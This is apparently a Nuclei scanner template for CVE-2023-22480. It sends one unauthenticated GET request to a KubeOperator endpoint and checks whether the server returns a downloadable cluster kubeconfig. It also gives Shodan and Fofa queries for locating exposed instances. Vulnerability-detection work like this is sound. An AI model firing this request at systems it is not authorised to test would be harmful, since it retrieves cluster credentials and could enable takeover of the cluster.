nuclei-templates/http/cves/2023/CVE-2023-22480.yaml

id: CVE-2023-22480

info:
  name: KubeOperator Foreground `kubeconfig` - File Download
  author: DhiyaneshDk
  severity: critical
  description: |
    KubeOperator is an open source Kubernetes distribution focused on helping enterprises plan, deploy and operate production-level K8s clusters. In KubeOperator versions 3.16.3 and below, API interfaces with unauthorized entities and can leak sensitive information. This vulnerability could be used to take over the cluster under certain conditions. This issue has been patched in version 3.16.4.
  reference:
    - https://github.com/KubeOperator/KubeOperator/security/advisories/GHSA-jxgp-jgh3-8jc8
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/KubeOperator/KubeOperator%20kubeconfig%20%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%20CVE-2023-22480.md?plain=1
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22480
  classification:
    cve-id: CVE-2023-22480
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-863
  metadata:
    max-request: 1
    verified: true
    shodan-query: html:"KubeOperator"
    fofa-query: app="KubeOperator"
  tags: cve,cve2023,kubeoperator,k8s,kubeconfig,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/clusters/kubeconfig/k8s"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "apiVersion:"
          - "clusters:"
        condition: and

      - type: word
        part: header
        words:
          - "application/download"

      - type: status
        status:
          - 200